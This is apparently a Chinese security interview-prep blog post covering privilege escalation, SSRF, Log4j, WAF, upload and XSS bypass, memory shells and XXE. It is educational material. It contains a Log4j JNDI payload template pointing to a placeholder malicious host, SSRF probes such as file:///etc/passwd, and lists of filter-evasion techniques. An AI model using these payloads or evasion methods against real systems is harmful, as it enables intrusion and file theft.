安全面试2

news/2025/2/23 6:54:01

文章目录

  • 简单描述一下什么是水平越权,什么是垂直越权,我要发现这两类漏洞,那我代码审计要注意什么地方
    • 水平越权:
    • 垂直越权:
    • 水平越权漏洞的审计重点
    • 垂直越权漏洞的审计重点
  • 解释一下ssrf
    • 漏洞原理
    • 攻击场景
    • 修复方法
  • 横向移动
  • 提权
    • win权限提升
    • Linux权限提升
  • include 和 require区别
  • 绕waf的常见姿势
  • log4g
  • 有哪些混淆绕过的方法
  • 文件上传绕过
  • XSS绕过
  • 内存马
    • 常见实现方式:
    • 内存马的特点
    • 内存马的检测

简单描述一下什么是水平越权,什么是垂直越权,我要发现这两类漏洞,那我代码审计要注意什么地方

水平越权:

用户能够访问或操作其他同级用户的资源或数据。

垂直越权:

低权限用户能够访问或操作高权限用户的功能或资源。

水平越权漏洞的审计重点

  1. 检查涉及用户数据的接口(如/user/profile?id=123),确保当前用户只能访问自己的数据。
  2. 查找是否直接使用用户提供的参数(如用户ID)查询数据库,而未验证其权限。

垂直越权漏洞的审计重点

  1. 检查涉及管理员功能的接口(如/admin/delete_user),确保只有管理员可以访问。
  2. 查找是否缺少对用户角色的验证。

解释一下ssrf

漏洞原理

攻击者通过构造恶意URL,让服务器访问内部系统(如数据库、管理后台)或外部资源,从而获取敏感信息或执行恶意操作。

攻击场景

  1. 访问内部服务:
    攻击者让服务器访问内网服务(如http://127.0.0.1:8080/admin),获取敏感信息。
  2. 绕过防火墙:内网服务通常对外不可访问,但通过SSRF,攻击者可以绕过防火墙限制。
  3. 文件读取:利用file://协议读取服务器本地文件(如file:///etc/passwd)。
  4. 端口扫描:通过SSRF探测内网开放的端口和服务。

修复方法

  1. 限制协议:
    只允许HTTP/HTTPS协议,禁止file://、gopher://等危险协议。
  2. 白名单校验:
    只允许访问特定的域名或IP地址。
  3. 禁用重定向:
    防止攻击者通过重定向访问内部资源。
  4. 使用DNS解析:
    解析URL的域名,确保其指向允许的外部地址,而不是内网IP。

横向移动

在内⽹渗透中,当攻击者获取到内⽹某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种⽅法,访问域内其他机器,进⼀步扩⼤资产范围。通过横向,攻击者最终获得域控制器的访问权限,甚⾄完全控制基于Windows操作系统的整个内⽹环境,控制域环境下的全部机器。

提权

win权限提升

在这里插入图片描述

Linux权限提升

在这里插入图片描述

include 和 require区别

include会执行多次,导致报错(重复定义变量)。。而include_once不会出现这种情况。
require和include区别在于:若未包含文件,则报错形式不一样。(require包含错误文件,则include后不
再执行;include未包含文件,会警告,但是仍会执行后面的。)

绕waf的常见姿势

  1. 混淆和编码:Base64 编码
    ,URL 编码,Unicode 编码,Hex 编码:将 payload 转换为十六进制,双重编码
  2. 大小写混淆:WAF 的规则可能是大小写敏感的,通过改变 payload 的大小写可以绕过检测。
  3. 注释符混淆:在 SQL 注入中,使用注释符(如 /* */、–)可以绕过 WAF 的检测。
  4. 分块传输编码:利用 HTTP 分块传输编码(Chunked Transfer Encoding)绕过 WAF 的检测。
  5. HTTP 参数污染(HPP):通过重复提交参数,使 WAF 无法正确解析参数值。
  6. 使用非常规 HTTP 方法:使用 PUT、DELETE、OPTIONS 等方法。
  7. 利用 WAF 的规则盲区:超长 payload:WAF 可能对超长 payload 的检测不严格。
    特殊字符:使用 WAF 未检测的特殊字符。
    多语言 payload:使用非 ASCII 字符。
  8. 时间延迟绕过:在 SQL 注入中,使用时间延迟函数(如 SLEEP())绕过 WAF 的检测。
  9. 利用 WAF 的缓存机制:WAF 可能缓存某些请求,通过构造特殊请求绕过检测。

log4g

Log4j是Java开发中广泛使用的日志记录框架,攻击者可以通过构造恶意日志消息触发远程代码执行,从而完全控制目标服务器
漏洞原理
Log4j2支持Lookup功能,允许在日志中动态解析变量(如${java:os})。

攻击者可以通过输入类似${jndi:ldap://恶意地址/攻击代码}的字符串,触发Log4j2向远程服务器请求并执行恶意代码。

由于Log4j2的递归解析特性,攻击者无需特殊配置即可利用该漏洞
修复
删除JndiLookup.class文件,禁用JNDI功能

有哪些混淆绕过的方法

  1. 变量名混淆:将变量名替换为无意义的随机字符串。
  2. 字符串加密:将字符串加密或编码,运行时解密。
  3. 控制流混淆:改变代码的执行顺序,增加跳转和条件判断。
  4. 代码拆分:将代码拆分为多个部分,运行时动态拼接。

文件上传绕过

  1. 文件类型伪装:修改文件扩展名或MIME类型。
  2. 文件内容混淆:在文件中插入垃圾数据或修改文件头。
  3. 多文件上传:通过上传多个文件,利用服务器解析差异绕过检测。

XSS绕过

  1. 标签混淆:使用非常规的HTML标签或属性。
  2. 事件混淆:使用不同的事件触发XSS。
  3. 编码绕过:对XSS代码进行HTML编码或JavaScript编码。

内存马

内存马的核心思想是通过修改目标应用程序的内存数据(如Servlet、Filter、Controller等),动态注入恶意代码,从而在服务器内存中创建一个隐蔽的后门。

常见实现方式:

  1. Servlet内存马:通过动态注册一个恶意的Servlet,处理特定请求。
  2. Filter内存马:通过动态注册一个恶意的Filter,拦截所有请求。
  3. Controller内存马:在Spring等框架中,动态注册一个恶意的Controller。
  4. Agent内存马:通过Java Agent技术,动态修改类的字节码。

内存马的特点

无文件落地,隐蔽性强,持久化,高权限:

内存马的检测

内存分析,行为监控,流量分析

XXE
XXE漏洞的成因
XXE漏洞的核心问题是XML解析器在处理外部实体时未进行严格限制,导致攻击者可以通过构造恶意XML文档实现以下攻击:

  1. 读取服务器上的任意文件。
  2. 发起SSRF(服务器端请求伪造)攻击。
  3. 执行远程代码(在某些情况下)。
    修复XXE漏洞的核心是禁用外部实体解析。

http://www.niftyadmin.cn/n/5863154.html

相关文章

VUE四:Vue-cli

什么是Vue-cli vue-cli是官方提供的一个脚手架,用于快速生成一个vue的项目模板; 预先定义好的目录结构及基础代码,就好比咱们在创建 Maven项目时可以选择创建一个骨架项目,这个骨架项目就是脚手架,我们的开发更加的快速; 什么是web pack 本质上&#…

网页制作06-html,css,javascript初认识のhtml如何建立超链接

超链接有外部链接、电子邮件链接、锚点链接、空链接、脚本链接 一、内部链接 与自身网站页面有关的链接被称为内部链接 1、创建内部链接 1&#xff09;语法&#xff1a; <a href"链接地址"> …… </a> 2&#xff09;举例应用&#xff1a; 3&#xf…

【C++编程入门基础(一)】

文章目录 一、什么是C二、命名空间&#xff08;1&#xff09;为什么有命名空间&#xff08;2&#xff09;命名空间的定义&#xff08;3&#xff09;命名空间的使用 三、输入和输出&#xff08;1&#xff09;输出&#xff08;2&#xff09;输入&#xff08;3&#xff09;总结 四…

大模型监督微调(SFT)技术解析

大模型监督微调&#xff08;SFT&#xff09;技术深度解析 一、基本知识介绍 监督微调&#xff08;Supervised Fine-Tuning&#xff09;是连接预训练与具体应用的关键技术层。其本质是通过特定任务的标注数据&#xff0c;在保持预训练模型核心能力的前提下&#xff0c;调整模型…

计算机毕业设计Hadoop+Spark+DeepSeek-R1大模型民宿推荐系统 hive民宿可视化 民宿爬虫 大数据毕业设计(源码+LW文档+PPT+讲解)

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

STM32的“Unique device ID“能否修改?

STM32F1系列的"Unique device ID"寄存器的地址为0x1FFFF7E8。 这个寄存器是只读的。 "Unique device ID"寄存器位于“System memory”中。“System memory”地址范围为“0x1FFF F000- 0x1FFF F7FF”。 所有STM32 MCU上都存在系统引导加载程序。顾名思义&a…

服务器配置-从0到分析2:服务器基本设置

最基础的&#xff1a; zerotier组建虚拟局域网&#xff0c;再内网穿透 在vscode&#xff08;coding&#xff09;、mobaxterm&#xff08;normal pc&#xff09;、termius&#xff08;normal Android&#xff09;端配置client&#xff0c;能够remote-ssh再看下面 以及基本的文…

041集——封装之:新建图层(CAD—C#二次开发入门)

如图所示&#xff1a;增加一个图层“新图层”&#xff0c;颜色为红&#xff08;1&#xff09;&#xff0c;当图层颜色定义为黄&#xff08;2&#xff09;时&#xff0c;直接覆盖之前图层颜色&#xff0c;图层名不变。 代码如下&#xff1a; /// </summary>/// <param …